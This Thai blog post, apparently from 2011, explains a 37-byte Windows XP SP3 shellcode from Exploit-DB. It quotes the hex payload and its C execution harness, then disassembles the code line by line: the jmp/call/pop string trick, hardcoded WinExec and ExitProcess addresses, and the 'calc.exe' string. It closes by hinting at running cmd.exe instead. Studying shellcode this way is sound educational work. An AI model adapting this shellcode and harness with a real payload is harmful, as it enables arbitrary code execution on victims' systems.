วันอังคารที่ 31 พฤษภาคม พ.ศ. 2554

มาแกะ shellcode exploit winxp sp3 เล่นกันดีกว่า

มาแกะ shellcode exploit winxp sp3 เล่นกันดีกว่า

พอดีวันนี้ไปหมกตัวอยู่ใน IRC มีคนถามเรื่อง Shellcode ว่ามันเป็นมายังไง เห็นว่าสนุกดีก็เ่ลยเอามาเล่าสู่กันฟังอีกรอบ

เริ่มจาก http://www.exploit-db.com/exploits/11607 เป็น Link ที่บรรจุ C++ Code ที่เอาไว้ Exploit Windows XP SP3

# Title: Windows XP Home Edition SP3 English ( calc.exe ) 37 bytes
# EDB-ID: 11607
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Hazem mofeed
# Published: 2010-03-01
# Verified: yes
# Download Exploit Code
# Download N/A

/*
* Windows Xp Home edition SP3 english ( calc.exe ) 37 bytes shellcode
* by: Hazem mofeed
* The Shellcode: http://www.exploit-db.com/exploits/11598
* Modified to working In SP3,
* Home: www.pentestlabs.com
* greetz: ProViDoR , ExH , rUnVirUs , Sinaritx , Data_fr34k3r , Br1ght D@rk
*/

char evil[] =
"\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x0d\x25\x86\x7c\xff\xd3\x31\xc0"
"\x50\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

int main(int argc, char **argv)
{
int (*shellcode)();
shellcode = (int (*)()) evil;
(int)(*shellcode)();
}

ใน main function ถ้าจะให้อธิบายก็คือ

int (*shellcode)();

ประกาศให้ shellcode เป็น pointer ของ function ที่ return int

shellcode = (int (*)()) evil;

สั่งให้ shellcode ไปชี้ ที่ evil ซึ่งถูก type case ข้อมูลจาก char array เป็น function

(int)(*shellcode)();

เรียก function ที่ shellcode ชี้อยู่ทำงาน

แต่ทั้งนี้ทั้งนั้น ก็ไม่มีอะไร ภาษา C ธรรมดา แต่ที่เราสนใจจริงๆ คือ ตัวแปร evil ที่เป็น char array เนี่ยแหละ

char evil[] =
"\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x0d\x25\x86\x7c\xff\xd3\x31\xc0"
"\x50\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

ถ้า จะให้พูดภาษาชาวบ้านก็คือ เฮ้ย นี่มันภาษามนุษย์รึเปล่าว่ะ (ถ้าจะให้ตอบจริงๆ ก็คือไม่ใช่นะแหละ)

อ้าว ถ้างั้นมันคืออะไร คำตอบคือ มันคือ code คำสั่งที่อยู่ในรูปของ machine code นั่นเอง ซึ่งสามารถแปลงเป็นภาษา Assembly ได้เพื่อให้สะดวกต่อความเข้าใจ (เพิ่มขึ้นอีกเล็กน้อย)

ก่อนอื่น ขอแนะนำ Tool สำหรับช่วยเราแปลง machine code ให้อยู่ในรูป ASM code ซะก่อน

http://pyms86.appspot.com

วิธี ใช้ก็ไม่มีอะไรมาก เอา Machine Code ในรูป "\x??\x??....." ไปใส่เด๋วมันแปลให้เอง อย่างตัวแปร evil นั้นจะได้ ASM Command ดังนี้

[0x00000000]    jmp near 0x00000018
[0x00000002]    pop ebx                                        * // xref:
                                                               * 0x00000018
[0x00000003]    xor eax,eax
[0x00000005]    push eax
[0x00000006]    push ebx
[0x00000007]    mov ebx,0x7c86250d
[0x0000000c]    call ebx    
[0x0000000e]    xor eax,eax    
[0x00000010]    push eax    
[0x00000011]    mov ebx,0x7c81cb12
[0x00000016]    call ebx    
[0x00000018]    call 0x00000002                              * // xref:
                                                             * 0x00000000
[0x0000001d]    arpl [cx+0x6c],sp
[0x00000020]    arpl [si],sp
[0x00000022]    js 0x0000008a    
[0x00000025]    add [ax],al

ในที่สุด เราก็ได้ ASM Code ออกมาจากตัวแปร evil โดยอธิบายเป็นบรรทัดได้ดังนี้

[0x00000000]    jmp near 0x00000018

กระโดดไปทำงานที่ address 0x18

[0x00000018]    call 0x00000002                              * // xref:
                                                             * 0x00000000

กระโดด ไปทำงานที่ address 0x02 และ push address ของ คำสั่งถัดไป (0x1d) ลงใน stack

[0x00000002]    pop ebx                                        * // xref:
                                                               * 0x00000018

Get ค่า address ของคำสั่งถัดไป (0x1d) ที่อยู่ใน stack มาเก็บลง register ebx

[0x00000003]    xor eax,eax
[0x00000005]    push eax

เซตค่า register eax ให้เท่ากับ 0 แล้วนำไป push ลง stack

[0x00000006]    push ebx

push ค่าใน ebx ลง stack (0x1d)

[0x00000005]    push eax
[0x00000006]    push ebx
[0x00000007]    mov ebx,0x7c86250d
[0x0000000c]    call ebx

call function ที่ Address 0x7c86250d โดยมี parameter ตัวที่ 1 เป็น ebx และตัวที่สองเป็น eax สามารถเขียนให้เข้าใจด้วยภาษา C จะได้ประมาณนี้ 0x7c86250d(ebx,eax) ซึ่งมีค่าเท่ากับ 0x7c86250d(0x1d,0)

แต่ 0x7c86250d มันคืออะไร และมาจากไหนละ 0x7c86250d คือ Address ของ Win32 API ที่มีชื่อว่า WinExec() โดยเราสามารถตรวจสอบได้จาก DLL Export Viewer Tool (ปล. address นี้ จะใช้ได้เฉพาะ WinXP SP3 เท่านั้น ถ้าเป็นอย่างอื่น Address ของ WinExec จะเปลี่ยนตามไปด้วย ต้องหาเอาใหม่โดยใช้ DLL Export Viewer Tool เอาก็ได้)

ถ้าเปิดหา Document ของ API WinExec() จะได้ดังนี้

http://msdn.microsoft.com/en-us/library/ms687393%28VS.85%29.aspx

UINT WINAPI WinExec(
  __in  LPCSTR lpCmdLine,
  __in  UINT uCmdShow
);

Parameters :
lpCmdLine [in]
    The command line (file name plus optional parameters) for the application to be executed.
uCmdShow [in]
    The display options.

Return Value :
    If the function succeeds, the return value is greater than 31.

จาก 0x7c86250d(0x1d,0) เราจะเขียนได้ใหม่คือ WinExec(0x1d,0) ซึ่ง 0x1d (ฐานสิบคือ 29) คือ pointer ของ string ของ application ที่จะ run นั่นเอง

char evil[] =
"\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x0d\x25\x86\x7c\xff\xd3\x31\xc0"
"\x50\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";

หาก เราไปดู char ตัวที่ 29 โดยนับตัวแรกเป็น 0 จะได้ string = "\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ซึ่งเป็นรหัส ASCII ของตัวอักษร "calc.exe" นั่นเอง ดังนั้น เราจะได้ว่า WinExec(0x1d,0) = WinExec("calc.exe",0) ซึ่งแปลว่าให้ทำการ run คำสั่ง calc.exe ในโหมดซ่อนตัว

[0x0000000e]    xor eax,eax    
[0x00000010]    push eax    
[0x00000011]    mov ebx,0x7c81cb12                      // 0x7c81cb12 = ExitProcess()
[0x00000016]    call ebx

เหมือน เป็นการสั่ง ExitProcess(0) เพื่อทำการจบการทำงานนั่นเอง

กล่าวโดย สรุปคือ shellcode evil นี้มีหน้าที่เรียก calc.exe ให้ทำงานแบบซ่อนตัว และปิดตัวโปรแกรมที่เรียกไปซะ (จะเกิดอะไรขึ้นนะถ้าเรียก cmd.exe แทน)

ผม ขอจบแบบทิ้งท้ายไว้ห้วนๆ แบบนี้ละกัน

ไม่มีความคิดเห็น:

แสดงความคิดเห็น